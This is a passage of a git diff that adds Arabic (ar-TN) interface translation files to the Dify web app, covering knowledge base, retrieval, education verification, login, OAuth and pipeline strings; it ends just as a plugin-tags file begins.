+++ b/web/i18n/ar-TN/dataset.ts
@@ -0,0 +1,251 @@
+const translation = {
+  knowledge: 'المعرفة',
+  chunkingMode: {
+    general: 'عام',
+    parentChild: 'الأصل والطفل',
+    qa: 'سؤال وجواب',
+    graph: 'رسم بياني',
+  },
+  parentMode: {
+    paragraph: 'فقرة',
+    fullDoc: 'مستند كامل',
+  },
+  externalTag: 'خارجي',
+  externalAPI: 'واجهة برمجة تطبيقات خارجية',
+  externalAPIPanelTitle: 'واجهة برمجة تطبيقات المعرفة الخارجية',
+  externalKnowledgeId: 'معرف المعرفة الخارجية',
+  externalKnowledgeName: 'اسم المعرفة الخارجية',
+  externalKnowledgeDescription: 'وصف المعرفة',
+  externalKnowledgeIdPlaceholder: 'يرجى إدخال معرف المعرفة',
+  externalKnowledgeNamePlaceholder: 'يرجى إدخال اسم قاعدة المعرفة',
+  externalKnowledgeDescriptionPlaceholder: 'صف ما يوجد في قاعدة المعرفة هذه (اختياري)',
+  learnHowToWriteGoodKnowledgeDescription: 'تعرف على كيفية كتابة وصف جيد للمعرفة',
+  externalAPIPanelDescription: 'تُستخدم واجهة برمجة تطبيقات المعرفة الخارجية للاتصال بقاعدة معرفة خارج Dify واسترجاع المعرفة من قاعدة المعرفة تلك.',
+  externalAPIPanelDocumentation: 'تعرف على كيفية إنشاء واجهة برمجة تطبيقات المعرفة الخارجية',
+  externalKnowledgeBase: 'قاعدة المعرفة الخارجية',
+  localDocs: 'مستندات محلية',
+  documentCount: ' مستندات',
+  docAllEnabled_one: '{{count}} مستند ممكن',
+  docAllEnabled_other: 'تم تمكين جميع المستندات البالغ عددها {{count}}',
+  partialEnabled_one: 'إجمالي {{count}} مستند، {{num}} متاح',
+  partialEnabled_other: 'إجمالي {{count}} مستندات، {{num}} متاح',
+  wordCount: ' ألف كلمة',
+  appCount: ' تطبيقات مرتبطة',
+  updated: 'محدث',
+  createDataset: 'إنشاء المعرفة',
+  createFromPipeline: 'إنشاء من سير عمل المعرفة',
+  createNewExternalAPI: 'إنشاء واجهة برمجة تطبيقات معرفة خارجية جديدة',
+  noExternalKnowledge: 'لا توجد واجهة برمجة تطبيقات معرفة خارجية حتى الآن، انقر هنا لإنشاء',
+  createExternalAPI: 'إضافة واجهة برمجة تطبيقات معرفة خارجية',
+  editExternalAPIFormTitle: 'تعديل واجهة برمجة تطبيقات المعرفة الخارجية',
+  editExternalAPITooltipTitle: 'المعرفة المرتبطة',
+  editExternalAPIConfirmWarningContent: {
+    front: 'ترتبط واجهة برمجة تطبيقات المعرفة الخارجية هذه بـ',
+    end: 'معرفة خارجية، وسيتم تطبيق هذا التعديل عليها جميعًا. هل أنت متأكد أنك تريد حفظ هذا التغيير؟',
+  },
+  editExternalAPIFormWarning: {
+    front: 'ترتبط واجهة برمجة التطبيقات الخارجية هذه بـ',
+    end: 'معرفة خارجية',
+  },
+  deleteExternalAPIConfirmWarningContent: {
+    title: {
+      front: 'حذف',
+      end: '؟',
+    },
+    content: {
+      front: 'ترتبط واجهة برمجة تطبيقات المعرفة الخارجية هذه بـ',
+      end: 'معرفة خارجية. سيؤدي حذف واجهة برمجة التطبيقات هذه إلى إبطالها جميعًا. هل أنت متأكد أنك تريد حذف واجهة برمجة التطبيقات هذه؟',
+    },
+    noConnectionContent: 'هل أنت متأكد من حذف واجهة برمجة التطبيقات هذه؟',
+  },
+  selectExternalKnowledgeAPI: {
+    placeholder: 'اختر واجهة برمجة تطبيقات معرفة خارجية',
+  },
+  connectDataset: 'الاتصال بقاعدة معرفة خارجية',
+  connectDatasetIntro: {
+    title: 'كيفية الاتصال بقاعدة معرفة خارجية',
+    content: {
+      front: 'للاتصال بقاعدة معرفة خارجية، تحتاج إلى إنشاء واجهة برمجة تطبيقات خارجية أولاً. يرجى القراءة بعناية والرجوع إلى',
+      link: 'تعرف على كيفية إنشاء واجهة برمجة تطبيقات خارجية',
+      end: '. ثم ابحث عن معرف المعرفة المقابل واملأه في النموذج على اليسار. إذا كانت جميع المعلومات صحيحة، فسيقفز تلقائيًا إلى اختبار الاسترجاع في قاعدة المعرفة بعد النقر فوق زر الاتصال.',
+    },
+    learnMore: 'تعرف على المزيد',
+  },
+  connectHelper: {
+    helper1: 'تصل بقواعد المعرفة الخارجية عبر API ومعرف قاعدة المعرفة. حاليًا، ',
+    helper2: 'يتم دعم وظيفة الاسترجاع فقط',
+    helper3: '. نوصي بشدة أن تقوم بـ ',
+    helper4: 'قراءة وثائق المساعدة',
+    helper5: ' بعناية قبل استخدام هذه الميزة.',
+  },
+  createDatasetIntro: 'استيراد بيانات النص الخاصة بك أو كتابة البيانات في الوقت الفعلي عبر Webhook لتحسين سياق LLM.',
+  deleteDatasetConfirmTitle: 'حذف هذه المعرفة؟',
+  deleteDatasetConfirmContent:
+    'حذف المعرفة لا رجعة فيه. لن يتمكن المستخدمون بعد الآن من الوصول إلى معرفتك، وسيتم حذف جميع تكوينات الموجه والسجلات بشكل دائم.',
+  datasetUsedByApp: 'يتم استخدام المعرفة بواسطة بعض التطبيقات. لن تتمكن التطبيقات بعد الآن من استخدام هذه المعرفة، وسيتم حذف جميع تكوينات الموجه والسجلات بشكل دائم.',
+  datasetDeleted: 'تم حذف المعرفة',
+  datasetDeleteFailed: 'فشل حذف المعرفة',
+  didYouKnow: 'هل تعلم؟',
+  intro1: 'يمكن دمج المعرفة في تطبيق Dify ',
+  intro2: 'كسياق',
+  intro3: '،',
+  intro4: 'أو ',
+  intro5: 'يمكن نشرها',
+  intro6: ' كخدمة مستقلة.',
+  unavailable: 'غير متاح',
+  datasets: 'المعرفة',
+  datasetsApi: 'الوصول إلى API',
+  externalKnowledgeForm: {
+    connect: 'اتصال',
+    cancel: 'إلغاء',
+  },
+  externalAPIForm: {
+    name: 'الاسم',
+    endpoint: 'نقطة نهاية API',
+    apiKey: 'مفتاح API',
+    save: 'حفظ',
+    cancel: 'إلغاء',
+    edit: 'تعديل',
+    encrypted: {
+      front: 'سيتم تشفير رمز API الخاص بك وتخزينه باستخدام',
+      end: 'تقنية.',
+    },
+  },
+  retrieval: {
+    semantic_search: {
+      title: 'بحث المتجهات',
+      description: 'إنشاء تضمينات الاستعلام والبحث عن قطعة النص الأكثر تشابهًا مع تمثيلها المتجه.',
+    },
+    full_text_search: {
+      title: 'بحث النص الكامل',
+      description: 'فهرسة جميع المصطلحات في المستند، مما يسمح للمستخدمين بالبحث عن أي مصطلح واسترجاع قطعة نصية ذات صلة تحتوي على تلك المصطلحات.',
+    },
+    hybrid_search: {
+      title: 'بحث هجين',
+      description: 'تنفيذ البحث بالنص الكامل والبحث المتجه في وقت واحد، وإعادة الترتيب لتحديد أفضل تطابق لاستعلام المستخدم. يمكن للمستخدمين اختيار تعيين الأوزان أو التكوين لنموذج إعادة الترتيب.',
+      recommend: 'نوصي',
+    },
+    keyword_search: {
+      title: 'فهرس معكوس',
+      description: 'الفهرس المعكوس هو هيكل يستخدم للاسترجاع الفعال. منظم حسب المصطلحات، يشير كل مصطلح إلى المستندات أو صفحات الويب التي تحتوي عليه.',
+    },
+    change: 'تغيير',
+    changeRetrievalMethod: 'تغيير طريقة الاسترجاع',
+  },
+  docsFailedNotice: 'فشل فهرسة المستندات',
+  retry: 'إعادة المحاولة',
+  documentsDisabled: '{{num}} مستندات معطلة - غير نشطة لأكثر من 30 يومًا',
+  enable: 'تمكين',
+  indexingTechnique: {
+    high_quality: 'HQ',
+    economy: 'ECO',
+  },
+  indexingMethod: {
+    semantic_search: 'VECTOR',
+    full_text_search: 'FULL TEXT',
+    hybrid_search: 'HYBRID',
+    invertedIndex: 'فهرس معكوس',
+  },
+  defaultRetrievalTip: 'يستخدم الاسترجاع متعدد المسارات افتراضيًا. يتم استرجاع المعرفة من قواعد معرفة متعددة ثم إعادة ترتيبها.',
+  mixtureHighQualityAndEconomicTip: 'مطلوب نموذج إعادة الترتيب لخلط قواعد المعرفة عالية الجودة والاقتصادية.',
+  inconsistentEmbeddingModelTip: 'مطلوب نموذج إعادة الترتيب إذا كانت نماذج التضمين لقواعد المعرفة المختارة غير متسقة.',
+  mixtureInternalAndExternalTip: 'مطلوب نموذج إعادة الترتيب لخلط المعرفة الداخلية والخارجية.',
+  allExternalTip: 'عند استخدام المعرفة الخارجية فقط، يمكن للمستخدم اختيار ما إذا كان سيمكن نموذج إعادة الترتيب. إذا لم يتم تمكينه، فسيتم فرز القطع المسترجعة بناءً على الدرجات. عندما تكون استراتيجيات الاسترجاع لقواعد المعرفة المختلفة غير متسقة، فستكون غير دقيقة.',
+  retrievalSettings: 'إعداد الاسترجاع',
+  rerankSettings: 'إعداد إعادة الترتيب',
+  weightedScore: {
+    title: 'الدرجة المرجحة',
+    description: 'من خلال تعديل الأوزان المخصصة، تحدد استراتيجية إعادة الترتيب هذه ما إذا كانت الأولوية للمطابقة الدلالية أو الكلمات الرئيسية.',
+    semanticFirst: 'الدلالي أولاً',
+    keywordFirst: 'الكلمة الرئيسية أولاً',
+    customized: 'مخصص',
+    semantic: 'دلالي',
+    keyword: 'كلمة رئيسية',
+  },
+  nTo1RetrievalLegacy: 'سيتم إيقاف الاسترجاع من N إلى 1 رسميًا اعتبارًا من سبتمبر. يوصى باستخدام أحدث استرجاع متعدد المسارات للحصول على نتائج أفضل. ',
+  nTo1RetrievalLegacyLink: 'تعرف على المزيد',
+  nTo1RetrievalLegacyLinkText: ' سيتم إيقاف الاسترجاع من N إلى 1 رسميًا في سبتمبر.',
+  batchAction: {
+    selected: 'محدد',
+    enable: 'تمكين',
+    disable: 'تعطيل',
+    archive: 'أرشيف',
+    delete: 'حذف',
+    cancel: 'إلغاء',
+  },
+  preprocessDocument: '{{num}} معالجة المستندات مسبقًا',
+  allKnowledge: 'كل المعرفة',
+  allKnowledgeDescription: 'حدد لعرض كل المعرفة في مساحة العمل هذه. يمكن لمالك مساحة العمل فقط إدارة كل المعرفة.',
+  embeddingModelNotAvailable: 'نموذج التضمين غير متوفر.',
+  metadata: {
+    metadata: 'بيانات وصفية',
+    addMetadata: 'إضافة بيانات وصفية',
+    chooseTime: 'اختر وقتًا...',
+    createMetadata: {
+      title: 'بيانات وصفية جديدة',
+      back: 'رجوع',
+      type: 'نوع',
+      name: 'الاسم',
+      namePlaceholder: 'إضافة اسم البيانات الوصفية',
+    },
+    checkName: {
+      empty: 'لا يمكن أن يكون اسم البيانات الوصفية فارغًا',
+      invalid: 'يمكن أن يحتوي اسم البيانات الوصفية فقط على أحرف صغيرة وأرقام وشرطات سفلية ويجب أن يبدأ بحرف صغير',
+      tooLong: 'لا يمكن أن يتجاوز اسم البيانات الوصفية {{max}} حرفًا',
+    },
+    batchEditMetadata: {
+      editMetadata: 'تعديل البيانات الوصفية',
+      editDocumentsNum: 'تعديل {{num}} مستندات',
+      applyToAllSelectDocument: 'تطبيق على جميع المستندات المحددة',
+      applyToAllSelectDocumentTip: 'إنشاء جميع البيانات الوصفية المعدلة والجديدة أعلاه تلقائيًا لجميع المستندات المحددة، وإلا فإن تعديل البيانات الوصفية سينطبق فقط على المستندات التي تحتوي عليها.',
+      multipleValue: 'قيمة متعددة',
+    },
+    selectMetadata: {
+      search: 'بحث في البيانات الوصفية',
+      newAction: 'بيانات وصفية جديدة',
+      manageAction: 'إدارة',
+    },
+    datasetMetadata: {
+      description: 'يمكنك إدارة جميع البيانات الوصفية في هذه المعرفة هنا. سيتم مزامنة التعديلات مع كل مستند.',
+      addMetaData: 'إضافة بيانات وصفية',
+      values: '{{num}} قيم',
+      disabled: 'معطل',
+      rename: 'إعادة تسمية',
+      name: 'الاسم',
+      namePlaceholder: 'اسم البيانات الوصفية',
+      builtIn: 'مدمج',
+      builtInDescription: 'يتم استخراج البيانات الوصفية المدمجة وإنشاؤها تلقائيًا. يجب تمكينه قبل الاستخدام ولا يمكن تعديله.',
+      deleteTitle: 'تأكيد الحذف',
+      deleteContent: 'هل أنت متأكد أنك تريد حذف البيانات الوصفية "{{name}}"',
+    },
+    documentMetadata: {
+      metadataToolTip: 'تعمل البيانات الوصفية كمرشح حاسم يعزز دقة وملاءمة استرجاع المعلومات. يمكنك تعديل وإضافة بيانات وصفية لهذا المستند هنا.',
+      startLabeling: 'بدء التصنيف',
+      documentInformation: 'معلومات المستند',
+      technicalParameters: 'المعلمات الفنية',
+    },
+  },
+  serviceApi: {
+    title: 'واجهة برمجة تطبيقات الخدمة',
+    enabled: 'في الخدمة',
+    disabled: 'معطل',
+    card: {
+      title: 'واجهة برمجة تطبيقات خدمة الخلفية',
+      endpoint: 'نقطة نهاية واجهة برمجة تطبيقات الخدمة',
+      apiKey: 'مفتاح API',
+      apiReference: 'مرجع API',
+    },
+  },
+  cornerLabel: {
+    unavailable: 'غير متاح',
+    pipeline: 'خط أنابيب',
+  },
+  multimodal: 'متعدد الوسائط',
+  imageUploader: {
+    button: 'اسحب وأفلت الملف أو المجلد، أو',
+    browse: 'تصفح',
+    tip: '{{supportTypes}} (الحد الأقصى {{batchCount}}، {{size}} ميغابايت لكل منها)',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/education.ts b/web/i18n/ar-TN/education.ts
new file mode 100644
index 0000000000..0740564467
--- /dev/null
+++ b/web/i18n/ar-TN/education.ts
@@ -0,0 +1,76 @@
+const translation = {
+  toVerified: 'احصل على التحقق التعليمي',
+  toVerifiedTip: {
+    front: 'أنت الآن مؤهل للحصول على حالة التحقق التعليمي. يرجى إدخال معلومات التعليم الخاصة بك أدناه لإكمال العملية والحصول على',
+    coupon: 'كوبون حصري 100٪',
+    end: 'لخطة Dify الاحترافية.',
+  },
+  currentSigned: 'تم تسجيل الدخول حاليًا باسم',
+  form: {
+    schoolName: {
+      title: 'اسم مدرستك',
+      placeholder: 'أدخل الاسم الرسمي الكامل لمدرستك',
+    },
+    schoolRole: {
+      title: 'دورك في المدرسة',
+      option: {
+        student: 'طالب',
+        teacher: 'معلم',
+        administrator: 'مسؤول المدرسة',
+      },
+    },
+    terms: {
+      title: 'الشروط والاتفاقيات',
+      desc: {
+        front: 'المعلومات الخاصة بك واستخدام حالة التحقق التعليمي تخضع لـ',
+        and: 'و',
+        end: '. من خلال الإرسال:',
+        termsOfService: 'شروط الخدمة',
+        privacyPolicy: 'سياسة الخصوصية',
+      },
+      option: {
+        age: 'أؤكد أن عمري 18 عامًا على الأقل',
+        inSchool: 'أؤكد أنني مسجل أو موظف في المؤسسة المقدمة. قد تطلب Dify إثبات التسجيل/التوظيف. إذا قدمت معلومات خاطئة حول أهليتي، فأوافق على دفع أي رسوم تم التنازل عنها مبدئيًا بناءً على حالة التعليم الخاصة بي.',
+      },
+    },
+  },
+  submit: 'إرسال',
+  submitError: 'فشل إرسال النموذج. يرجى المحاولة مرة أخرى لاحقًا.',
+  learn: 'تعرف على كيفية التحقق من التعليم',
+  successTitle: 'لقد حصلت على التحقق التعليمي من Dify',
+  successContent: 'لقد أصدرنا كوبون خصم 100٪ لخطة Dify Professional لحسابك. الكوبون ساري لمدة عام واحد، يرجى استخدامه خلال فترة الصلاحية.',
+  rejectTitle: 'تم رفض التحقق التعليمي الخاص بك في Dify',
+  rejectContent: 'لسوء الحظ، أنت غير مؤهل للحصول على حالة التحقق التعليمي وبالتالي لا يمكنك الحصول على كوبون حصري 100٪ لخطة Dify Professional إذا كنت تستخدم عنوان البريد الإلكتروني هذا.',
+  emailLabel: 'بريدك الإلكتروني الحالي',
+  notice: {
+    dateFormat: 'MM/DD/YYYY',
+    expired: {
+      title: 'انتهت حالة التعليم الخاصة بك',
+      summary: {
+        line1: 'لا يزال بإمكانك الوصول إلى Dify واستخدامه. ',
+        line2: 'ومع ذلك، لم تعد مؤهلاً للحصول على كوبونات خصم التعليم الجديدة.',
+      },
+    },
+    isAboutToExpire: {
+      title: 'ستنتهي حالة التعليم الخاصة بك في {{date}}',
+      summary: 'لا تقلق - لن يؤثر هذا على اشتراكك الحالي، لكنك لن تحصل على خضم التعليم عند تجديده ما لم تتحقق من حالتك مرة أخرى.',
+    },
+    stillInEducation: {
+      title: 'هل ما زلت في التعليم؟',
+      expired: 'تحقق مرة أخرى الآن للحصول على كوبون جديد للعام الدراسي القادم. سنضيفه إلى حسابك ويمكنك استخدامه للترقية التالية.',
+      isAboutToExpire: 'تحقق مرة أخرى الآن للحصول على كوبون جديد للعام الدراسي القادم. سيتم حفظه في حسابك وجاهز للاستخدام في تجديدك التالي.',
+    },
+    alreadyGraduated: {
+      title: 'تخرجت بالفعل؟',
+      expired: 'لا تتردد في الترقية في أي وقت للحصول على الوصول الكامل إلى الميزات المدفوعة.',
+      isAboutToExpire: 'سيظل اشتراكك الحالي نشطًا. عندما ينتهي، سيتم نقلك إلى خطة Sandbox، أو يمكنك الترقية في أي وقت لاستعادة الوصول الكامل إلى الميزات المدفوعة.',
+    },
+    action: {
+      dismiss: 'تجاهل',
+      upgrade: 'ترقية',
+      reVerify: 'إعادة التحقق',
+    },
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/explore.ts b/web/i18n/ar-TN/explore.ts
new file mode 100644
index 0000000000..671c1ae827
--- /dev/null
+++ b/web/i18n/ar-TN/explore.ts
@@ -0,0 +1,44 @@
+const translation = {
+  title: 'استكشاف',
+  sidebar: {
+    discovery: 'اكتشاف',
+    chat: 'دردشة',
+    workspace: 'مساحة العمل',
+    action: {
+      pin: 'تثبيت',
+      unpin: 'إلغاء التثبيت',
+      rename: 'إعادة تسمية',
+      delete: 'حذف',
+    },
+    delete: {
+      title: 'حذف التطبيق',
+      content: 'هل أنت متأكد أنك تريد حذف هذا التطبيق؟',
+    },
+  },
+  apps: {
+    title: 'استكشاف التطبيقات',
+    description: 'استخدم تطبيقات القوالب هذه فورًا أو خصص تطبيقاتك الخاصة بناءً على القوالب.',
+    allCategories: 'موصى به',
+  },
+  appCard: {
+    addToWorkspace: 'إضافة إلى مساحة العمل',
+    customize: 'تخصيص',
+  },
+  appCustomize: {
+    title: 'إنشاء تطبيق من {{name}}',
+    subTitle: 'أيقونة التطبيق واسمه',
+    nameRequired: 'اسم التطبيق مطلوب',
+  },
+  category: {
+    Agent: 'وكيل',
+    Assistant: 'مساعد',
+    Writing: 'كتابة',
+    Translate: 'ترجمة',
+    Programming: 'برمجة',
+    HR: 'الموارد البشرية',
+    Workflow: 'سير العمل',
+    Entertainment: 'ترفيه',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/layout.ts b/web/i18n/ar-TN/layout.ts
new file mode 100644
index 0000000000..5f6a45615f
--- /dev/null
+++ b/web/i18n/ar-TN/layout.ts
@@ -0,0 +1,8 @@
+const translation = {
+  sidebar: {
+    expandSidebar: 'توسيع الشريط الجانبي',
+    collapseSidebar: 'طي الشريط الجانبي',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/login.ts b/web/i18n/ar-TN/login.ts
new file mode 100644
index 0000000000..2784e4b2bd
--- /dev/null
+++ b/web/i18n/ar-TN/login.ts
@@ -0,0 +1,126 @@
+const translation = {
+  pageTitle: 'تسجيل الدخول إلى Dify',
+  pageTitleForE: 'مرحبًا، لنبدأ!',
+  welcome: '👋 مرحبًا! يرجى تسجيل الدخول للبدء.',
+  email: 'عنوان البريد الإلكتروني',
+  emailPlaceholder: 'بريدك الإلكتروني',
+  password: 'كلمة المرور',
+  passwordPlaceholder: 'كلمة المرور الخاصة بك',
+  name: 'اسم المستخدم',
+  namePlaceholder: 'اسم المستخدم الخاص بك',
+  forget: 'نسيت كلمة المرور؟',
+  signBtn: 'تسجيل الدخول',
+  continueWithCode: 'المتابعة مع الرمز',
+  sendVerificationCode: 'إرسال رمز التحقق',
+  usePassword: 'استخدام كلمة المرور',
+  useVerificationCode: 'استخدام رمز التحقق',
+  or: 'أو',
+  installBtn: 'إعداد',
+  setAdminAccount: 'إعداد حساب مسؤول',
+  setAdminAccountDesc: 'أقصى امتيازات لحساب المسؤول، والتي يمكن استخدامها لإنشاء التطبيقات وإدارة مزودي LLM، إلخ.',
+  createAndSignIn: 'إنشاء وتسجيل الدخول',
+  oneMoreStep: 'خطوة واحدة أخرى',
+  createSample: 'بناءً على هذه المعلومات، سنقوم بإنشاء تطبيق تجريبي لك',
+  invitationCode: 'رمز الدعوة',
+  invitationCodePlaceholder: 'رمز الدعوة الخاص بك',
+  interfaceLanguage: 'لغة الواجهة',
+  timezone: 'المنطقة الزمنية',
+  go: 'الذهاب إلى Dify',
+  sendUsMail: 'أرسل لنا مقدمتك عبر البريد الإلكتروني، وسنتعامل مع طلب الدعوة.',
+  acceptPP: 'لقد قرأت وأوافق على سياسة الخصوصية',
+  reset: 'يرجى تشغيل الأمر التالي لإعادة تعيين كلمة المرور الخاصة بك',
+  withGitHub: 'المتابعة مع GitHub',
+  withGoogle: 'المتابعة مع Google',
+  withSSO: 'المتابعة مع SSO',
+  rightTitle: 'أطلق العنان للإمكانات الكاملة لـ LLM',
+  rightDesc: 'بناء تطبيقات الذكاء الاصطناعي الجذابة بصريًا والقابلة للتشغيل والقابلة للتحسين بسهولة.',
+  tos: 'شروط الخدمة',
+  pp: 'سياسة الخصوصية',
+  tosDesc: 'بالتسجيل، فإنك توافق على',
+  goToInit: 'إذا لم تقم بتهيئة الحساب، يرجى الانتقال إلى صفحة التهيئة',
+  dontHave: 'ليس لديك؟',
+  invalidInvitationCode: 'رمز دعوة غير صالح',
+  accountAlreadyInited: 'تمت تهيئة الحساب بالفعل',
+  forgotPassword: 'نسيت كلمة المرور؟',
+  resetLinkSent: 'تم إرسال رابط إعادة التعيين',
+  sendResetLink: 'إرسال رابط إعادة التعيين',
+  backToSignIn: 'العودة لتسجيل الدخول',
+  forgotPasswordDesc: 'يرجى إدخال عنوان بريدك الإلكتروني لإعادة تعيين كلمة المرور الخاصة بك. سنرسل لك بريدًا إلكترونيًا يحتوي على تعليمات حول كيفية إعادة تعيين كلمة المرور الخاصة بك.',
+  checkEmailForResetLink: 'يرجى التحقق من بريدك الإلكتروني للحصول على رابط لإعادة تعيين كلمة المرور الخاصة بك. إذا لم يظهر في غضون بضع دقائق، فتأكد من التحقق من مجلد الرسائل غير المرغوب فيها.',
+  passwordChanged: 'سجل الدخول الآن',
+  changePassword: 'تعيين كلمة مرور',
+  changePasswordTip: 'يرجى إدخال كلمة مرور جديدة لحسابك',
+  changePasswordBtn: 'تعيين كلمة مرور',
+  invalidToken: 'رمز غير صالح أو منتهي الصلاحية',
+  confirmPassword: 'تأكيد كلمة المرور',
+  confirmPasswordPlaceholder: 'تأكيد كلمة المرور الجديدة',
+  passwordChangedTip: 'تم تغيير كلمة المرور الخاصة بك بنجاح',
+  error: {
+    emailEmpty: 'عنوان البريد الإلكتروني مطلوب',
+    emailInValid: 'يرجى إدخال عنوان بريد إلكتروني صالح',
+    nameEmpty: 'الاسم مطلوب',
+    passwordEmpty: 'كلمة المرور مطلوبة',
+    passwordLengthInValid: 'يجب أن تتكون كلمة المرور من 8 أحرف على الأقل',
+    passwordInvalid: 'يجب أن تحتوي كلمة المرور على أحرف وأرقام، ويجب أن يكون الطول أكبر من 8',
+    registrationNotAllowed: 'الحساب غير موجود. يرجى الاتصال بمسؤول النظام للتسجيل.',
+    invalidEmailOrPassword: 'بريد إلكتروني أو كلمة مرور غير صالحة.',
+  },
+  license: {
+    tip: 'قبل بدء تشغيل Dify Community Edition، اقرأ GitHub',
+    link: 'ترخيص مفتوح المصدر',
+  },
+  join: 'انضم ',
+  joinTipStart: 'يدعوك للانضمام إلى ',
+  joinTipEnd: ' فريق على Dify',
+  invalid: 'انتهت صلاحية الرابط',
+  explore: 'استكشاف Dify',
+  activatedTipStart: 'لقد انضممت إلى',
+  activatedTipEnd: 'فريق',
+  activated: 'سجل الدخول الآن',
+  adminInitPassword: 'كلمة مرور تهيئة المسؤول',
+  validate: 'تحقق',
+  checkCode: {
+    checkYourEmail: 'تحقق من بريدك الإلكتروني',
+    tipsPrefix: 'نرسل رمز التحقق إلى ',
+    validTime: 'ضع في اعتبارك أن الرمز صالح لمدة 5 دقائق',
+    verificationCode: 'رمز التحقق',
+    verificationCodePlaceholder: 'أدخل رمزًا مكونًا من 6 أرقام',
+    verify: 'تحقق',
+    didNotReceiveCode: 'لم تتلق الرمز؟ ',
+    resend: 'إعادة الإرسال',
+    useAnotherMethod: 'استخدام طريقة أخرى',
+    emptyCode: 'الرمز مطلوب',
+    invalidCode: 'رمز غير صالح',
+  },
+  resetPassword: 'إعادة تعيين كلمة المرور',
+  resetPasswordDesc: 'اكتب البريد الإلكتروني الذي استخدمته للتسجيل في Dify وسنرسل لك بريدًا إلكترونيًا لإعادة تعيين كلمة المرور.',
+  backToLogin: 'العودة لتسجيل الدخول',
+  setYourAccount: 'إعداد حسابك',
+  enterYourName: 'يرجى إدخال اسم المستخدم الخاص بك',
+  back: 'عودة',
+  noLoginMethod: 'طريقة المصادقة غير مكونة',
+  noLoginMethodTip: 'يرجى الاتصال بمسؤول النظام لإضافة طريقة مصادقة.',
+  licenseExpired: 'انتهت صلاحية الترخيص',
+  licenseExpiredTip: 'انتهت صلاحية ترخيص Dify Enterprise لمساحة العمل الخاصة بك. يرجى الاتصال بالمسؤول لمواصلة استخدام Dify.',
+  licenseLost: 'فقدان الترخيص',
+  licenseLostTip: 'فشل الاتصال بخادم ترخيص Dify. يرجى الاتصال بالمسؤول لمواصلة استخدام Dify.',
+  licenseInactive: 'الترخيص غير نشط',
+  licenseInactiveTip: 'ترخيص Dify Enterprise لمساحة العمل الخاصة بك غير نشط. يرجى الاتصال بالمسؤول لمواصلة استخدام Dify.',
+  webapp: {
+    login: 'تسجيل الدخول',
+    noLoginMethod: 'طريقة المصادقة غير مكونة لتطبيق الويب',
+    noLoginMethodTip: 'يرجى الاتصال بمسؤول النظام لإضافة طريقة مصادقة.',
+    disabled: 'مصادقة Webapp معطلة. يرجى الاتصال بمسؤول النظام لتمكينها. يمكنك محاولة استخدام التطبيق مباشرة.',
+  },
+  signup: {
+    noAccount: 'ليس لديك حساب؟ ',
+    signUp: 'اشتراك',
+    createAccount: 'إنشاء حسابك',
+    welcome: '👋 مرحبًا! يرجى ملء التفاصيل للبدء.',
+    verifyMail: 'المتابعة مع رمز التحقق',
+    haveAccount: 'لديك حساب بالفعل؟ ',
+    signIn: 'تسجيل الدخول',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/oauth.ts b/web/i18n/ar-TN/oauth.ts
new file mode 100644
index 0000000000..87c0600d0b
--- /dev/null
+++ b/web/i18n/ar-TN/oauth.ts
@@ -0,0 +1,27 @@
+const translation = {
+  tips: {
+    loggedIn: 'يريد هذا التطبيق الوصول إلى المعلومات التالية من حساب Dify Cloud الخاص بك.',
+    notLoggedIn: 'يريد هذا التطبيق الوصول إلى حساب Dify Cloud الخاص بك',
+    needLogin: 'يرجى تسجيل الدخول للتفويض',
+    common: 'نحن نحترم خصوصيتك وسنستخدم هذه المعلومات فقط لتحسين تجربتك مع أدوات المطورين لدينا.',
+  },
+  connect: 'الاتصال بـ',
+  continue: 'متابعة',
+  switchAccount: 'تبديل الحساب',
+  login: 'تسجيل الدخول',
+  scopes: {
+    name: 'الاسم',
+    email: 'البريد الإلكتروني',
+    avatar: 'الصورة الرمزية',
+    languagePreference: 'تفضيل اللغة',
+    timezone: 'المنطقة الزمنية',
+  },
+  error: {
+    invalidParams: 'معلمات غير صالحة',
+    authorizeFailed: 'فشل التفويض',
+    authAppInfoFetchFailed: 'فشل جلب معلومات التطبيق للتفويض',
+  },
+  unknownApp: 'تطبيق غير معروف',
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/pipeline.ts b/web/i18n/ar-TN/pipeline.ts
new file mode 100644
index 0000000000..fd17447f4d
--- /dev/null
+++ b/web/i18n/ar-TN/pipeline.ts
@@ -0,0 +1,40 @@
+const translation = {
+  common: {
+    goToAddDocuments: 'الذهاب لإضافة مستندات',
+    publishAs: 'النشر كقالب سير عمل مخصص',
+    confirmPublish: 'تأكيد النشر',
+    confirmPublishContent: 'بعد نشر سير عمل المعرفة بنجاح، لا يمكن تعديل هيكل التقطيع لقاعدة المعرفة هذه. هل أنت متأكد أنك تريد نشرها؟',
+    publishAsPipeline: {
+      name: 'اسم وأيقونة سير العمل',
+      namePlaceholder: 'يرجى إدخال اسم سير عمل المعرفة هذا. (مطلوب) ',
+      description: 'وصف المعرفة',
+      descriptionPlaceholder: 'يرجى إدخال وصف سير عمل المعرفة هذا. (اختياري) ',
+    },
+    testRun: 'تشغيل اختباري',
+    preparingDataSource: 'جارٍ إعداد مصدر البيانات',
+    reRun: 'إعادة التشغيل',
+    processing: 'جارٍ المعالجة',
+  },
+  inputField: {
+    create: 'إنشاء حقل إدخال المستخدم',
+    manage: 'إدارة',
+  },
+  publishToast: {
+    title: 'لم يتم نشر سير العمل هذا بعد',
+    desc: 'عندما لا يتم نشر سير العمل، يمكنك تعديل هيكل التقطيع في عقدة قاعدة المعرفة، وسيتم حفظ تنظيم السير العمل والتغييرات تلقائيًا كمسودة.',
+  },
+  result: {
+    resultPreview: {
+      loading: 'جاري المعالجة... ارجو الانتظار',
+      error: 'حدث خطأ أثناء التنفيذ',
+      viewDetails: 'عرض التفاصيل',
+      footerTip: 'في وضع التشغيل الاختباري، يمكن معاينة ما يصل إلى {{count}} قطعة',
+    },
+  },
+  ragToolSuggestions: {
+    title: 'اقتراحات لـ RAG',
+    noRecommendationPlugins: 'لا توجد إضافات موصى بها، ابحث عن المزيد في <CustomLink>السوق</CustomLink>',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/plugin-tags.ts b/web/i18n/ar-TN/plugin-tags.ts
new file mode 100644
index 0000000000..51981179a9
--- /dev/null
+++ b/web/i18n/ar-TN/plugin-tags.ts
@@ -0,0 +1,26 @@
+const translation = {
